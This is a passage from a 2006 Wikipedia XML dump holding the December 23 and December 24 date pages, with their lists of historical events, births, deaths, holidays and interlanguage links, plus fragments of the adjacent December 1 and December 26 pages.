* Ancient [[Latvia]] - [[Barbes Diena]] observed
* [[Feast day]] of [[St Eligius]]
* [[Romania]] - [[Union Day]] (the national holiday)
* [[Angola]]'s Pioneers' Day
* [[World AIDS Day]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/1 BBC: On This Day]
* [http://www.tnl.net/when/12/1 Today in History]
----

[[November 30]] - [[December 2]] - [[November 1]] - [[January 1]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:1 Desember]]
[[ar:1 ديسمبر]]
[[an:1 d'abiento]]
[[ast:1 d'avientu]]
[[bg:1 декември]]
[[be:1 сьнежня]]
[[bs:1. decembar]]
[[ca:1 de desembre]]
[[ceb:Disyembre 1]]
[[cv:Раштав, 1]]
[[co:1 di decembre]]
[[cs:1. prosinec]]
[[cy:1 Rhagfyr]]
[[da:1. december]]
[[de:1. Dezember]]
[[et:1. detsember]]
[[el:1 Δεκεμβρίου]]
[[es:1 de diciembre]]
[[eo:1-a de decembro]]
[[eu:Abenduaren 1]]
[[fo:1. desember]]
[[fr:1er décembre]]
[[fy:1 desimber]]
[[ga:1 Nollaig]]
[[gl:1 de decembro]]
[[ko:12월 1일]]
[[hr:1. prosinca]]
[[io:1 di decembro]]
[[id:1 Desember]]
[[ia:1 de decembre]]
[[is:1. desember]]
[[it:1 dicembre]]
[[he:1 בדצמבר]]
[[jv:1 Desember]]
[[kn:ಡಿಸೆಂಬರ್ ೧]]
[[ka:1 დეკემბერი]]
[[csb:1 gòdnika]]
[[ku:1'ê berfanbarê]]
[[la:1 Decembris]]
[[lt:Gruodžio 1]]
[[lb:1. Dezember]]
[[hu:December 1]]
[[mk:1 декември]]
[[ml:ഡിസംബര്‍ 1]]
[[ms:1 Disember]]
[[nap:1 'e dicembre]]
[[nl:1 december]]
[[ja:12月1日]]
[[no:1. desember]]
[[nn:1. desember]]
[[oc:1 de decembre]]
[[os:1 декабры]]
[[pl:1 grudnia]]
[[pt:1 de Dezembro]]
[[ro:1 decembrie]]
[[ru:1 декабря]]
[[se:Juovlamánu 1.]]
[[sco:1 December]]
[[sq:1 Dhjetor]]
[[scn:1 di dicèmmiru]]
[[simple:December 1]]
[[sk:1. december]]
[[sl:1. december]]
[[sr:1. децембар]]
[[fi:1. joulukuuta]]
[[sv:1 december]]
[[tl:Disyembre 1]]
[[tt:1. Dekäber]]
[[te:డిసెంబర్ 1]]
[[th:1 ธันวาคม]]
[[vi:1 tháng 12]]
[[tr:1 Aralık]]
[[uk:1 грудня]]
[[wa:1î d' decimbe]]
[[war:Disyembre 1]]
[[zh:12月1日]]
[[pam:Disiembri 1]]</text>
    </revision>
  </page>
  <page>
    <title>December 23</title>
    <id>8358</id>
    <revision>
      <id>42162970</id>
      <timestamp>2006-03-04T06:00:30Z</timestamp>
      <contributor>
        <username>Fallout boy</username>
        <id>355937</id>
      </contributor>
      <minor />
      <comment>/* Births */</comment>
      <text xml:space="preserve">'''[[December 23]]''' is the 357th day of the year in the [[Gregorian Calendar]] (358th in [[leap year]]s). There are 8 days remaining.

{{DecemberCalendar}}

==Events==
*[[619]] - [[Pope Boniface V|Boniface V]] becomes [[Pope]].
*[[1493]] - Georg Alt's German translation of [[Hartmann Schedel]]'s ''[[Nuremberg Chronicle]]'' is published.
*[[1783]] - [[George Washington]] resigns as [[commander-in-chief]] of the [[Continental Army]] at the [[Maryland State House]] in [[Annapolis, Maryland]].
*[[1823]] - The poem ''[[A Visit From St. Nicholas]]'' (AKA ''The Night Before Christmas'') is published in the ''Sentinel''.
*[[1888]] - [[Vincent Van Gogh]] cuts off the lower part of his left ear, takes it to a brothel, and gives it to a prostitute named Rachel.
*[[1913]] - The [[Federal Reserve Act]] is signed into law by President [[Woodrow Wilson]], creating the [[Federal Reserve]].
*[[1916]] - [[World War I]]: [[Battle of Magdhaba]] - [[Allied]] forces defeat [[Ottoman Empire|Turkish]] forces in [[Egypt]]'s [[Sinai peninsula]].
*[[1936]] - [[Colombia]] becomes a signatory to the [[Buenos Aires Convention|Buenos Aires]] [[copyright]] [[treaty]].
*[[1947]] - The [[transistor]] is first demonstrated at [[Bell Laboratories]].
*[[1954]] - The first human [[organ transplant|kidney transplant]] is performed by Dr. [[Joseph E. Murray]] at [[Peter Bent Brigham Hospital]] in [[Boston, Massachusetts]]. 
*[[1972]] - The [[Nicaraguan]] capital of [[Managua]] is struck by a 6.5 magnitude [[earthquake]], killing more than 10,000.
*1972 - [[Immaculate Reception]]: [[Franco Harris]] scores a contentious touchdown from a pass thrown by [[Terry Bradshaw]] in an [[American Football Conference|AFC]] semi-final between the [[Pittsburgh Steelers]] and [[Oakland Raiders]] at [[Three Rivers Stadium]] in [[Pittsburgh, Pennsylvania]].
*1972 - [[Uruguayan Air Force Flight 571|Andes flight disaster]]: The remaining survivors of the Uruguayan Air Force Flight 571 crash are rescued from the [[Andes]] after 73 days, during which time they have had to resort to [[cannibalism]].
*[[1979]] - [[Soviet war in Afghanistan]]: [[Soviet]] forces occupy [[Kabul]], the Afghan capital.
*[[1982]] - The [[Environmental Protection Agency]] announces it has identified dangerous levels of [[dioxin]] in the soil of [[Times Beach, Missouri]].
*[[1986]] - ''[[Scaled Composites Voyager|Voyager]]'', piloted by [[Dick Rutan]] and [[Jeana Yeager]], lands at [[Edwards Air Force Base]] in [[California]] and becomes the first aircraft to fly non-stop around the world.
*[[1990]] - [[History of Slovenia]]: 88% of [[Slovenia]]'s population vote for independence from [[Yugoslavia]] in a referendum.
*[[2004]] - [[Macquarie Island]] in the [[Southern Ocean]] is hit by a 8.1 magnitude [[earthquake]].
*[[2005]] - [[Azerbaijan Airlines]] Flight 217 from [[Baku, Azerbaijan]] to [[Aktau, Kazakhstan]] crashed shortly after takeoff killing 23 people.
*2005 - [[Chad]] declares a [[state of war]] against [[Sudan]] following a December 18th attack on [[Adre]], which left about 100 people dead.

==Births==
*[[1513]] - [[Thomas Smith (diplomat)|Thomas Smith]], English diplomat and scholar (d. [[1577]])
*[[1537]] - King [[John III of Sweden]] (d. [[1592]])
*[[1582]] - [[Severo Bonini]], Italian composer (d. [[1663]])
*[[1597]] - [[Martin Opitz von Boberfeld]], German poet (d. [[1639]])
*[[1613]] - [[Carl Gustaf Wrangel]], Swedish soldier (d. [[1676]])
*[[1621]] - [[Edmund Berry Godfrey]], English magistrate (d. [[1678]])
*1621 - [[Heneage Finch, 1st Earl of Nottingham]], [[Lord Chancellor|Lord Chancellor of England]] (d. [[1682]])
*[[1689]] - [[Joseph Bodin de Boismortier]], French composer (d. [[1755]])
*[[1732]] - [[Richard Arkwright]], English industrialist and inventor (d. [[1792]])
*[[1750]] - King [[Frederick Augustus I of Saxony]] (d. [[1827]])
*[[1777]] - Tsar [[Alexander I of Russia]] (d. [[1825]])
*[[1790]] - [[Jean François Champollion]], French Egyptologist (d. [[1832]])
*[[1804]] - [[Charles Augustin Sainte-Beuve]], French literary critic (d. [[1869]])
*[[1805]] - [[Joseph Smith, Jr.]], American founder of the [[Church of Jesus Christ of Latter-day Saints]] (d. [[1844]])
*[[1819]] - [[Jan Jakob Lodewijk ten Kate]], Dutch poet and clergyman (d. [[1889]])
*[[1822]] - [[Wilhelm Bauer]], German engineer (d. [[1875]])
*[[1867]] - [[Madame C. J. Walker]], American millionaire (d. [[1919]])
*[[1878]] - [[Stephen Timoshenko]], Ukrainian-born mechanical engineer (d. [[1972]])
*[[1885]] - [[Pierre Brissaud]], French artist (d. [[1964]])
*[[1891]] - [[Alexandr Rodchenko]], Russian painter and photographer  (d. [[1956]])
*[[1907]] - [[Avraham Stern]], Polish-born Zionist leader (d. [[1942]])
*[[1908]] - [[Yousuf Karsh]], Turkish-born photographer (d. [[2002]])
*[[1911]] - [[Niels Kaj Jerne]], English-born immunologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1994]])
*[[1918]] - [[Helmut Schmidt]], [[Chancellor of Germany]]
*[[1918]] - [[José Greco]], Italian-born flamenco dancer (d. [[2001]])
*[[1922]] - [[Micheline Ostermeyer]], French athlete and musician
*[[1923]] - [[Günther Schifter]], Austrian music journalist
*1923 - [[Claudio Scimone]], Italian conductor
*1923 - [[James Stockdale]], U.S. Navy admiral (d. [[2005]])
*[[1926]] - [[Robert Bly]], American poet
*[[1931]] - [[Ronnie Schell]], American actor
*[[1933]] - [[Emperor Akihito of Japan|Akihito]], [[Emperor of Japan]]
*[[1935]] - [[Paul Hornung]], American football player
*[[1936]] - [[Frederic Forrest]], American actor
*[[1938]] - [[Bob Kahn]], American Internet pioneer
*[[1940]] - [[Jorma Kaukonen]], American musician
*[[1941]] - [[Tim Hardin]], American musician (d. [[1980]])
*[[1943]] - [[Mikhail Gromov]], Russian-born mathematician
*  1943   - [[Harry Shearer]], American actor
*  1943   - [[Silvia Sommerlath]], Queen of Sweden
*[[1944]] - [[Wesley Clark]], U.S. general and NATO Supreme Allied Commander
*[[1946]] - [[Susan Lucci]], American actress
*[[1948]] - [[Jack Ham]], American football player
*[[1949]] - [[Adrian Belew]], Guitarist, Singer, Songwriter, Producer
*[[1950]] - [[Michael C. Burgess]], American politician
*[[1952]] - [[William Kristol]], American political commentator
*[[1955]] - [[Bruce Hornsby]], American singer, pianist ([[Bruce Hornsby &amp; the Range]])
*[[1956]] - [[Dave Murray (musician)|Dave Murray]], English musician ([[Iron Maiden]])
*[[1958]] - [[Victoria Williams]], American singer
*[[1961]] - [[Carol Smillie]], British television personality
*[[1963]] - [[Jim Harbaugh]], American football player
*[[1964]] - [[Eddie Vedder]], American musician ([[Pearl Jam]])
*[[1969]] - [[Martha Byrne]], American actress
*[[1970]] - [[Catriona LeMay Doan]], Canadian speed skater
*[[1971]] - [[Corey Haim]], Canadian actor
*[[1971]] - [[Tara Palmer-Tomkinson]], British socialite
*[[1975]] - [[Sky Lopez]], American actress
*[[1977]] - [[Alge Crumpler]], American football player
*[[1978]] - [[Andra Davis]], American football player
*  1978   - [[Esthero]], Canadian musician and singer
*  1978   - [[Víctor Martínez]], Venezuelan [[Major League Baseball]] player
*  1978   - [[Estella Warren]], Canadian model and actress
*  1978   - [[Jodie Marsh]], UK based glamour model, Brentwood, Essex  
*[[1981]] - [[Beth (musician)|Beth]], Spanish singer

==Deaths==
*[[910]] - [[Naum of Preslav]], Bulgarian scholar
*[[913]] - [[Conrad of Franconia]]
*[[1230]] - [[Berengaria of Navarre]], queen of [[Richard I of England]]
*[[1556]] - [[Nicholas Udall]], English playwright (b. [[1504]])
*[[1568]] - [[Roger Ascham]], tutor of [[Elizabeth I of England|Elizabeth I]] of England
*[[1575]] - [[Akiyama Nobutomo]], Japanese warrior (b. [[1531]])
*[[1588]] - [[Henry I, Duke of Guise]], French Catholic leader (b. [[1550]])
*[[1631]] - [[Michael Drayton]], English poet (b. [[1563]])
*[[1646]] - [[François Maynard]], French poet (b. [[1582]])
*[[1652]] - [[John Cotton]], founder of Boston, Massachusetts (b. [[1585]])
*[[1675]] - [[Caesar, duc de Choiseul]], French marshal and diplomat (b. [[1602]])
*[[1722]] - [[Pierre Varignon]], French mathematician (b. [[1654]])
*[[1771]] - [[Marie-Marguerite d'Youville]], Canadian saint (b. [[1701]])
*[[1761]] - [[Alestair Ruadh MacDonnell]], Scottish Jacobite spy
*[[1779]] - [[Augustus Hervey, 3rd Earl of Bristol]], British admiral and politician (b. [[1724]])
*[[1789]] - [[Charles-Michel de l'Épée]], French philanthropist and developer of signed French (b. [[1712]])
*[[1793]] - [[Johann Adolph Hasse]], German composer (b. [[1699]])
*[[1795]] - [[Henry Clinton (American War of Independence)|Henry Clinton]], British general (b. [[1730]])
*[[1805]] - [[Pehr Osbeck]], Swedish explorer and naturalist (b. [[1723]])
*[[1834]] - [[Thomas Malthus]], English demographer and economist (b. [[1766]])
*[[1846]] - [[Jean Baptiste Bory de Saint-Vincent]], French naturalist (b. [[1780]])
*[[1872]] - [[Theophile Gautier]], French writer (b. [[1811]])
*[[1912]] - [[Otto Schoetensack]], German anthropologist (b. [[1850]])
*[[1939]] - [[Anthony Fokker]], Dutch aircraft manufacturer (b. [[1890]])
*[[1948]] - [[Hideki Tojo]], [[Prime Minister of Japan]] (hanged) (b. [[1884]])
*[[1953]] - [[Lavrenty Beria]], Soviet Communist leader (b. [[1899]])
*[[1970]] - [[Charles Ruggles]], American actor (b. [[1886]])
*[[1973]] - [[Angelo Siciliano|Charles Atlas]], Italian-born bodybuilder (b. [[1892]])
*1973 - [[Irna Phillips]], American television writer, director, and producer (b. [[1901]])
*[[1979]] - [[Peggy Guggenheim]], American art collector (b. [[1898]])
*[[1982]] - [[Jack Webb]], American actor, producer, and director (b. [[1920]])
*[[1983]] - [[Colin Middleton]], Northern Irish artist (b. [[1910]])
*[[1992]] - [[Eddie Hazel]], American guitarist ([[Funkadelic]]) (b. [[1950]])
*[[1994]] - [[Sebastian Shaw (actor)|Sebastian Shaw]], English actor (b. [[1905]])
*[[2000]] - [[Billy Barty]], American actor (b. [[1924]])
*2000 - [[Victor Borge]], Danish-born comedian and pianist (b. [[1909]])
*[[2004]] - [[P. V. Narasimha Rao]], ninth [[Prime Minister of India]] (b. [[1921]])
*[[2005]] - [[Norman D. Vaughan]], polar explorer and dogsled driver (b. [[1905]])
*[[2005]] - [[Lajos Baróti]], Hungarian footballer and coach (b. [[1914]])

==Holidays and observances==
*[[Roman festivals]] - [[Larentalia]], a festival in honor of [[Larenta]]
*[[Calendar of Saints|R.C. Saints]] - [[John Cantius]] ; [[Thorlac Thorhallsson]], patron saint of Iceland
*[[Japan]] - [[The Emperor's Birthday]] - Birthday of [[Akihito]], the current [[Emperor of Japan]]
*Ancient [[Latvia]] - [[Ziemassvetki]] held
*[[Sweden]] -  Birthday of Queen [[Silvia Sommerlath|Silvia]], an [[Flag days in Sweden|official flag day]]
*[[Oaxaca, Oaxaca|Oaxaca]] - [[Night of the Radishes]]
*[[Secular humanism]] (American) - [[HumanLight]] observed
===Fictitious holidays===
*Fans of [[Seinfeld]] - [[Festivus]] held

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/23 BBC: On This Day]
* [http://www.tnl.net/when/12/23 Today in History: December 23]
----

[[December 22]] - [[December 24]] - [[November 23]] - [[January 23]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:23 Desember]]
[[ar:23 ديسمبر]]
[[an:23 d'abiento]]
[[ast:23 d'avientu]]
[[bg:23 декември]]
[[be:23 сьнежня]]
[[bs:23. decembar]]
[[ca:23 de desembre]]
[[ceb:Disyembre 23]]
[[cv:Раштав, 23]]
[[co:23 di decembre]]
[[cs:23. prosinec]]
[[cy:23 Rhagfyr]]
[[da:23. december]]
[[de:23. Dezember]]
[[et:23. detsember]]
[[el:23 Δεκεμβρίου]]
[[es:23 de diciembre]]
[[eo:23-a de decembro]]
[[eu:Abenduaren 23]]
[[fo:23. desember]]
[[fr:23 décembre]]
[[fy:23 desimber]]
[[ga:23 Nollaig]]
[[gl:23 de decembro]]
[[ko:12월 23일]]
[[hr:23. prosinca]]
[[io:23 di decembro]]
[[id:23 Desember]]
[[ia:23 de decembre]]
[[is:23. desember]]
[[it:23 dicembre]]
[[he:23 בדצמבר]]
[[jv:23 Desember]]
[[ka:23 დეკემბერი]]
[[csb:23 gòdnika]]
[[ku:23'ê berfanbarê]]
[[la:23 Decembris]]
[[lt:Gruodžio 23]]
[[lb:23. Dezember]]
[[hu:December 23]]
[[mk:23 декември]]
[[ms:23 Disember]]
[[nap:23 'e dicembre]]
[[nl:23 december]]
[[ja:12月23日]]
[[no:23. desember]]
[[nn:23. desember]]
[[oc:23 de decembre]]
[[pl:23 grudnia]]
[[pt:23 de Dezembro]]
[[ro:23 decembrie]]
[[ru:23 декабря]]
[[se:Juovlamánu 23.]]
[[sco:23 December]]
[[sq:23 Dhjetor]]
[[scn:23 di dicèmmiru]]
[[simple:December 23]]
[[sk:23. december]]
[[sl:23. december]]
[[sr:23. децембар]]
[[fi:23. joulukuuta]]
[[sv:23 december]]
[[tl:Disyembre 23]]
[[ta:டிசம்பர் 23]]
[[tt:23. Dekäber]]
[[te:డిసెంబర్ 23]]
[[th:23 ธันวาคม]]
[[vi:23 tháng 12]]
[[tr:23 Aralık]]
[[uk:23 грудня]]
[[wa:23 d' decimbe]]
[[war:Disyembre 23]]
[[zh:12月23日]]
[[pam:Disiembri 23]]</text>
    </revision>
  </page>
  <page>
    <title>December 24</title>
    <id>8359</id>
    <revision>
      <id>42162596</id>
      <timestamp>2006-03-04T05:56:26Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv non-noteable</comment>
      <text xml:space="preserve">&lt;!-- language links at the bottom of this page --&gt;
'''[[December 24]]''' is the 358th day of the year in the [[Gregorian Calendar]] (359th in [[leap year]]s). There are 7 days remaining in the year.

{{DecemberCalendar}}

==Events==
* [[640]] - [[Pope John IV|John IV]] becomes [[Pope]].
*[[1294]] - [[Pope Boniface VIII]] is elected [[Pope]], replacing [[Pope Celestine V|St. Celestine V]], who had [[Papal abdication|abdicated]].
*[[1515]] - [[Thomas Wolsey]] is named the English [[Lord Chancellor]].
*[[1715]] - [[Sweden|Swedish]] troops occupy [[Norway]].
*[[1777]] - [[Kiritimati]], also called Christmas Island, was discovered by [[James Cook]].
*[[1800]] - Assassination attempt on [[Napoleon I of France|Napoleon Bonaparte]]'s life.
*[[1814]] - The [[Treaty of Ghent]] was signed which ended the [[War of 1812]].
*[[1818]] - &quot;[[Silent Night]]&quot; composed by [[Franz Gruber|Franz Xaver Gruber]].
*[[1851]] - [[Library of Congress]] burns.
*[[1865]] - Several US Civil War [[Confederate States of America|Confederate]] veterans form the [[Ku Klux Klan]].
*[[1906]] - The first [[radio]] program, consisting of a poetry reading, a violin solo, and a speech, is broadcast.
*[[1914]] - [[World War I]]: The &quot;[[Christmas truce]]&quot; begins.
*[[1924]] - [[Albania]] becomes a republic.
*[[1941]] - [[Hong Kong]] falls to the [[Japanese Imperial Army]].
*[[1941]] - [[Wake Island]] is conquered by Japanese forces. 
*[[1943]] - US General [[Dwight D. Eisenhower]] becomes the supreme Allied commander.
*[[1946]] - [[France]]'s [[French Fourth Republic|Fourth Republic]] founded.
*[[1951]] - [[Libya]] becomes independent from [[Italy]]. [[Idris I of Libya|Idris I]] is proclaimed King of Libya.
*[[1953]] - [[Tangiwai disaster]]: A railway bridge collapse at [[Tangiwai]], [[New Zealand]] sends a fully loaded passenger train into the [[Whangaehu River]], killing 153 people.
*1953 - [[NBC]]'s ''[[Dragnet (drama)|Dragnet]]'' becomes the first network-sponsored [[television]] program.
*[[1954]] - [[Laos]] becomes independent.
*[[1966]] - A [[Canadair]] [[CL44]] chartered by the [[United States military]] crashes into a small village in [[South Vietnam]], killing 129.
*[[1968]] - The crew of the [[USS Pueblo|USS ''Pueblo'']] is released by [[North Korea]] after being held for 11 months on suspicion of [[espionage|spying]].
*1968 - The crew of [[Apollo 8]] enter into orbit around the Moon, becoming the first humans to do so.
*[[1969]] - [[Curt Flood]] writes to [[Bowie Kuhn|Bowie K. Kuhn]],  the [[Baseball Commissioner|Commissioner of Baseball]], asking to be declared a [[free agent]] .
*[[1974]] - [[Cyclone Tracy]] devastates [[Darwin, Northern Territory|Darwin, Australia]]. 
*[[1979]] - The [[Soviet Union]] [[Soviet Invasion of Afghanistan|invades]] [[Afghanistan]] to support the country's Marxist government.
*1979 - The first European [[Ariane]] rocket is launched.
*[[1985]] - A black bull blocks the [[Cross Harbour Tunnel]] in [[Hong Kong]] for three hours.
*[[1987]] - [[Japan]]ese legendary [[rock band]] [[BOØWY]] declares their breakup at the [[Shibuya]] Kokaido.
*[[1997]] - The [[Sid El-Antri massacre]] (or Sidi Lamri) in [[Algeria]] kills 50-100 people.
*1997 - The [[Dominican Republic]] becomes a member of the [[Berne Convention for the Protection of Literary and Artistic Works|Berne Convention]] [[copyright]] [[treaty]].
*[[2000]] - The [[Texas 7]] holds up a sports store in [[Irving, Texas]]. Police officer [[Aubrey Hawkins]] is shot during the robbery.
*[[2003]] - The [[Spain|Spanish]] police thwarts an attempt by [[ETA]] to detonate 50 kg of [[explosive]]s at 3:55 {{PM}} inside [[Madrid]]'s busy [[Chamartín Station]].
*[[2004]] - The [[2004 Christmas Eve Snowstorm]] delivers an extremely unusual [[snow]]fall to the southern [[United States]].
===Fictional Events===
*[[1993]] Bob Hartley jokingly asked Carol if she and her boyfriend would like to come to their Christmas party on The Bob Newhart show.

==Births==
*[[1166]] - King [[John of England]] (d. [[1216]])
*[[1389]] - [[John VI, Duke of Brittany]] (d. [[1442]])
*[[1475]] - [[Thomas Murner]], German writer
*[[1491]] - [[Ignatius Loyola|Ignatius of Loyola]], Spanish founder of the Jesuit order (d. [[1556]])
*[[1508]] - [[Pietro Carnesecchi]], Italian humanist (d. [[1567]])
*[[1609]] - [[Philip Warwick]], English writer and politician (d. [[1683]])
*[[1698]] - [[William Warburton]], English Bishop of Gloucester (d. [[1779]])
*[[1724]] - [[Johann Conrad Ammann]], Swiss physician and naturalist (d. [[1811]])
*[[1745]] - [[William_Paterson_%28jurist%29|William Paterson]], Signer of the [[United States Constitution|U.S. Constitution]], Governor of New Jersey (d. [[1806]])
*[[1754]] - [[George Crabbe]], English poet and naturalist (d. [[1832]])
*[[1798]] - [[Adam Mickiewicz]], Polish poet (d. [[1855]])
*[[1809]] - [[Kit Carson]], American frontiersman (d. [[1868]])
*[[1812]] - [[Karl Eduard Zachariae]], German jurist (d. [[1894]])
*[[1818]] - [[James Prescott Joule]], British physicist (d. [[1889]])
*[[1822]] - [[Matthew Arnold]], English poet (d. [[1888]])
*[[1837]] - [[Elisabeth of Bavaria]], Empress of Austria (d. [[1898]])
*[[1845]] - King [[George I of Greece]] (d. [[1913]])
*[[1867]] - [[Kantaro Suzuki]], 42nd [[Prime Minister of Japan]] (d. [[1948]]) 
*[[1868]] - [[Emanuel Lasker]], German chess player (d. [[1941]])
*[[1880]] - [[Johnny Gruelle]], American cartoonist and children's book writer (d. [[1939]])
*[[1881]] - [[Juan Ramón Jiménez]], Spanish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1958]])
*[[1886]] - [[Michael Curtiz]], Hungarian-born director (d. [[1962]])
*[[1895]] - [[E. Roland Harriman]], American financier (d. [[1978]])
*[[1898]] - [[Héctor Scarone]], Uruguayan footballer (d. [[1967]])
*1898 - [[Baby Dodds]], American jazz drummer (d. [[1959]])
*[[1905]] - [[Howard Hughes]], American film producer and inventor (d. [[1976]])
*[[1910]] - [[Fritz Leiber]], American writer (d. [[1992]])
*[[1914]] - [[Herbert Reinecker]], German writer
*[[1920]] - [[Evgeniya Rudneva]], Russian World War II heroine (d. [[1944]])
*[[1922]] - [[Ava Gardner]], American actress (d. [[1990]])
*[[1923]] - [[George Patton IV]], American general (d. [[2004]])
*[[1924]] - [[Mohd. Rafi]], Indian actor and playback singer (d. [[1980]])
*[[1929]] - [[Mary Higgins Clark]], American author
*[[1931]] - [[Mauricio Kagel]], Argentine composer
*[[1937]] - [[Felix Miéli Venerando]], Brazilian football player
*[[1941]] - [[John Levene]], British actor
*[[1943]] - [[Tarja Halonen]], [[President of Finland]]
*[[1945]] - [[Lemmy Kilmister]], British singer, bassist ([[Motörhead]])
*1945 - [[Nicholas Meyer]], American author
*[[1949]] - [[Randy Neugebauer]], American politician
*[[1950]] - [[Dana Gioia]], American poet and chairman of the National Endowment for the Arts
*[[1955]] - [[Clarence Gilyard]], American actor
*[[1957]] - [[Hamid Karzai]], [[President of Afghanistan]]
*[[1960]] - [[Carol Vorderman]], British television presenter
*[[1963]] - [[Mary Ramsey]], American singer ([[10,000 Maniacs]])
*[[1966]] - [[Diedrich Bader]], American actor
*[[1969]] - [[Mark Millar]], Scottish comic book writer
*[[1971]] - [[Ricky Martin]], Puerto Rican singer
*[[1973]] - [[Eddie Pope]], American soccer player
*[[1974]] - [[Marcelo Salas]], Chilean footballer
*1974 - [[Ryan Seacrest]], American television host

==Deaths==
*[[820]] - [[Leo V]], [[Byzantine Emperor]] (assassinated) (b. [[775]])
*[[1257]] - [[John I, Count of Hainaut]] (b. [[1218]])
*[[1453]] - [[John Dunstable]], English composer
*[[1524]] - [[Vasco da Gama]], Portuguese explorer
*[[1660]] - [[Mary, Princess Royal and Princess of Orange]] (b. [[1631]])
*[[1707]] - [[Noël Coypel]], French painter (b. [[1628]])
*[[1813]] - [[Empress Go-Sakuramachi of Japan]], (b.[[1740]])
*[[1863]] - [[William Makepeace Thackeray]], English writer (b. [[1811]])
*[[1865]] - Sir [[Charles Lock Eastlake]], English painter and writer (b. [[1793]])
*[[1868]] - [[Adolphe d'Archiac]], French paleontologist and geologist (b. [[1802]])
*[[1873]] - [[Johns Hopkins]], Baltimore philanthropist and businessman (b. [[1795]]) 
*[[1889]] - [[Jan Jakob Lodewijk ten Kate]], Dutch poet and clergyman (b. [[1819]])
*[[1914]] - [[John Muir]], Scottish-born naturalist (b. [[1838]])
*[[1935]] - [[Alban Berg]], Austrian composer (b. [[1885]])
*[[1938]] - [[Bruno Taut]], German architect (b. [[1880]])
*[[1941]] - [[Siegfried Alkan]], German composer (b. [[1858]])
*[[1942]] - [[François Darlan]], vice-premier of Vichy France (b. [[1881]])
*[[1957]] - [[Norma Talmadge]], American actress (b. [[1893]])
*[[1972]] - [[Gisela Richter]], English art historian (b. [[1882]])
*[[1975]] - [[Bernard Herrmann]], American film composer (b. [[1911]])
*[[1977]] - [[Samael Aun Weor]], Columbian writer (b. [[1917]])
*[[1980]] - [[Karl Dönitz]], [[President of Germany]] (b. [[1891]])
*[[1982]] - [[Louis Aragon]], French writer (b. [[1897]])
*[[1984]] - [[Peter Lawford]], English actor (b. [[1923]])
*[[1986]] - [[Gardner Fox]], American writer (b. [[1911]])
*[[1987]] - [[Joop den Uyl]], [[Prime Minister of the Netherlands]] (b. [[1919]])
*[[1993]] - [[Norman Vincent Peale]], American writer (b. [[1898]])
*[[1994]] - [[John Boswell]], American historian (b. [[1947]])
*[[1997]] - [[Toshiro Mifune|Toshirô Mifune]], Japanese actor (b. [[1920]])
*[[1999]] - [[João Baptista de Oliveira Figueiredo]], [[President of Brazil]] (b. [[1918]])
*[[2002]] - [[Kjell Aukrust]], Norwegian author (b. [[1920]])
*[[2004]] - [[Johnny Oates]], baseball player and manager (b. [[1946]])
*[[2005]] - [[Michael Vale]], [[United States|American]] commercial actor (b. [[1922]])

==Holidays and observances==
*December 24 is celebrated as the day before [[Christmas]], thus called [[Christmas Eve]].  
*It is the day when food is traditionally set out for [[Santa Claus]] and his [[reindeer]]. Children around the world are urged to go to bed early so they are not awake when he arrives.
*In [[Finland]], [[Denmark]], [[Sweden]], [[Iceland]], [[Norway]], the [[Czech Republic]] and [[Slovakia]] among others, this is the day that presents are exchanged and opened.
*The [[Christmas Eve#Declaration of Christmas Peace|Declaration of Christmas Peace]] takes place in the Old Great Square of [[Turku]], [[Finland]]'s official [[Christmas City]], according to old traditions dating back to the [[Middle Ages]].

==External links==
* [http://groups.msn.com/965172qg02rbm4ek3a6e7udur5/_whatsnew.msnw Santa`s Lapland and Christmas Club]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/24 BBC: On This Day]

==Fictional events==
* [[2005]]: [[Pluto's Kiss]], a [[computer virus]], cripples the [[Internet]] and all computer networks.  From the [[.hack]] franchise.
* [[2011]]: The Awakening occurs.  From [[Shadowrun]] RPG.

----
[[December 23]] - [[December 25]] - [[November 24]] - [[January 24]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:24 Desember]]
[[ar:24 ديسمبر]]
[[an:24 d'abiento]]
[[ast:24 d'avientu]]
[[bg:24 декември]]
[[be:24 сьнежня]]
[[bs:24. decembar]]
[[ca:24 de desembre]]
[[ceb:Disyembre 24]]
[[cv:Раштав, 24]]
[[co:24 di decembre]]
[[cs:24. prosinec]]
[[cy:24 Rhagfyr]]
[[da:24. december]]
[[de:24. Dezember]]
[[et:24. detsember]]
[[el:24 Δεκεμβρίου]]
[[es:24 de diciembre]]
[[eo:24-a de decembro]]
[[eu:Abenduaren 24]]
[[fo:24. desember]]
[[fr:24 décembre]]
[[fy:24 desimber]]
[[ga:24 Nollaig]]
[[gl:24 de decembro]]
[[ko:12월 24일]]
[[hr:24. prosinca]]
[[io:24 di decembro]]
[[id:24 Desember]]
[[ia:24 de decembre]]
[[is:24. desember]]
[[it:24 dicembre]]
[[he:24 בדצמבר]]
[[jv:24 Desember]]
[[ka:24 დეკემბერი]]
[[csb:24 gòdnika]]
[[ku:24'ê berfanbarê]]
[[la:24 Decembris]]
[[lt:Gruodžio 24]]
[[lb:24. Dezember]]
[[li:24 december]]
[[hu:December 24]]
[[mk:24 декември]]
[[ms:24 Disember]]
[[nap:24 'e dicembre]]
[[nl:24 december]]
[[ja:12月24日]]
[[no:24. desember]]
[[nn:24. desember]]
[[oc:24 de decembre]]
[[os:24 декабры]]
[[pl:24 grudnia]]
[[pt:24 de Dezembro]]
[[ro:24 decembrie]]
[[ru:24 декабря]]
[[se:Juovlamánu 24.]]
[[sco:24 December]]
[[sq:24 Dhjetor]]
[[scn:24 di dicèmmiru]]
[[simple:December 24]]
[[sk:24. december]]
[[sl:24. december]]
[[sr:24. децембар]]
[[fi:24. joulukuuta]]
[[sv:24 december]]
[[tl:Disyembre 24]]
[[ta:டிசம்பர் 24]]
[[tt:24. Dekäber]]
[[te:డిసెంబర్ 24]]
[[th:24 ธันวาคม]]
[[vi:24 tháng 12]]
[[tr:24 Aralık]]
[[uk:24 грудня]]
[[wa:24 di decimbe]]
[[war:Disyembre 24]]
[[zh:12月24日]]
[[pam:Disiembri 24]]</text>
    </revision>
  </page>
  <page>
    <title>December 26</title>
    <id>8360</id>
    <revision>
      <id>42038387</id>
